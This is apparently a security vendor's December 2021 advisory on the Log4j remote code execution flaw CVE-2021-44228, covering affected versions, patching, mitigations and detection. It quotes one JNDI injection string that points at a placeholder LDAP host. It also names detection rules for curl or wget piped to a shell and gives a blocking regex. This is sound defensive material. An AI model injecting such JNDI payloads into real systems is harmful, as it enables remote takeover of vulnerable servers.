Information and exploitation of this vulnerability are evolving quickly. We will update this blog with further information as it becomes available.

CVE Vendor Advisory AttackerKB IVM Content Patching Urgency Last Update

CVE-2021-44228 Apache Advisory AttackerKB IVM scanning-based content under analysis.
Container Security as of December 10, 2021 2pm ET. Immediately December 10, 2021 7:00pm ET

On December 10, 2021, Apache released version 2.15.0 of their Log4j framework, which included a fix for CVE-2021-44228, a critical (CVSSv3 10) remote code execution (RCE) vulnerability affecting Apache Log4j 2.14.1 and earlier versions. The vulnerability resides in the way specially crafted log messages were handled by the Log4j processor. Untrusted strings (e.g. those coming from input text fields, such as web application search boxes) containing content like ${jndi:ldap://example.com/a} would trigger a remote class load, message lookup, and execution of the associated content if message lookup substitution was enabled. Successful exploitation of CVE-2021-44228 can allow a remote, unauthenticated attacker to take full control of a vulnerable target system.

CVE-2021-44228 is being broadly and opportunistically exploited in the wild as of December 10, 2021. Multiple sources have noted both scanning and exploit attempts against this vulnerability, and proof-of-concept (PoC) code has evidently been available since March of 2021. Rapid7 researchers have developed and tested a proof-of-concept exploit that works against the latest Struts2 Showcase (2.5.27) running on Tomcat. We expect attacks to continue and increase: Defenders should invoke emergency mitigation processes as quickly as possible. CISA has also published an alert advising immediate mitigation of CVE-2021-44228.

A huge swath of products, frameworks, and cloud services implement Log4j, which is a popular Java logging library. Organizations should be prepared for a continual stream of downstream advisories from third-party software producers who include Log4j among their dependencies.

Affected versions

According to Apache’s advisory, all Apache Log4j (version 2.x) versions up to 2.14.1 are vulnerable if message lookup substitution was enabled.

Mitigation and detection guidance

Security teams and network administrators should update to Log4J 2.15.0 immediately, invoking emergency patching and/or incident response procedures to identify affected systems, products, and components and remediate this vulnerability with the highest level of urgency. They should also monitor web application logs for evidence of attempts to execute methods from remote codebases (i.e. looking for jndi:ldap strings) and local system events on web application servers executing curl and other, known remote resource collection command line programs. Furthermore, we recommend paying close attention to security advisories mentioning Log4j and prioritizing updates for those solutions.

According to Apache’s advisory for CVE-2021-44228, the behavior that allows for exploitation of the flaw has been disabled by default starting in version 2.15.0. In releases prior to and including 2.10, the vulnerability can be mitigated by setting system property "log4j2.formatMsgNoLookups" to true or by removing the JndiLookup class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class). Java 8u121 (see https://www.oracle.com/java/technologies/javase/8u121-relnotes.html) protects against RCE by defaulting com.sun.jndi.rmi.object.trustURLCodebase and com.sun.jndi.cosnaming.object.trustURLCodebase to false.

According to a translated technical blog post, JDK versions greater than 6u211, 7u201, 8u191, and 11.0.1 are not affected by the LDAP attack vector. com.sun.jndi.ldap.object.trustURLCodebase is set to false, meaning JNDI cannot load a remote codebase using LDAP. In Log4j releases >=2.10, this behavior can be mitigated by setting system property log4j2.formatMsgNoLookups to true or by removing the JndiLookup class from the classpath (e.g. zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class). Java 8u121 protects against RCE by defaulting com.sun.jndi.rmi.object.trustURLCodebase and com.sun.jndi.cosnaming.object.trustURLCodebase to false. Rapid7 researchers are working to validate that upgrading to higher JDK/JRE versions does fully mitigate attacks.

Rapid7 Labs, Managed Detection and Response (MDR), and tCell teams recommend filtering inbound requests that contain the string “${jndi:” in any inbound request and monitoring all application and web server logs for similar strings.

EmergentThreat Labs has made Suricata and Snort IDS coverage for known exploit paths of CVE-2021-44228.

Researchers are maintaing a public list of known affected vendor products and third-party advisories releated to the Log4j vunlerability.

Rapid7 customers

• InsightVM and Nexpose
  InsightVM customers utilizing Container Security can assess containers that have been built with a vulnerable version of the library. InsightVM and Nexpose engineers are also currently evaluating the feasibility of adding a scanning-based vulnerability check.

• InsightIDR and Managed Detection and Response
  Rapid7 InsightIDR has several detections that will identify common follow-on activity used by attackers. Additionally, our teams are reviewing our detection rule library to ensure we have detections based on any observed attacker behavior related to this vulnerability seen by our Incident Response (IR), MDR, and Threat Intelligence and Detection Engineering (TIDE) teams. Through continuous collaboration and threat landscape monitoring, we ensure product coverage for the latest techniques being used by malicious actors.

• [Update: December 10, 2021 3:30pm ET]
  • Our Threat Detection & Response team has deployed detection rules to help identify attacker behavior related to this vulnerability:
    • Attacker Technique - Curl or Wget To Public IP Address With Non Standard Port
    • Suspicious Process - Curl or WGet Pipes Output to Shell
  • We also identified an existing detection rule that that was providing coverage prior to identification of the vulnerability:
    • Suspicious Process - Curl to External IP Address
• [Update: December 10, 2021 7:00pm ET]
  • An additional rule has been deployed:
    • Attacker Technique - Curl Or WGet To External IP Reporting Server IP In URL

• Velociraptor
  A Velociraptor artifact has been added that can be used to hunt against an environment for exploitation attempts against log4j RCE vulnerability.

• tCell
  You can enable partial protection by following these two steps:

Adding this custom regex to the library: \${jndi:

Adding an advanced blocking rule to block the newly added regex… don’t forget to Deploy!

Updates

[December 10, 2021, 5:45pm ET]
Rapid7 has posted a technical analysis of CVE-2021-44228 on AttackerKB.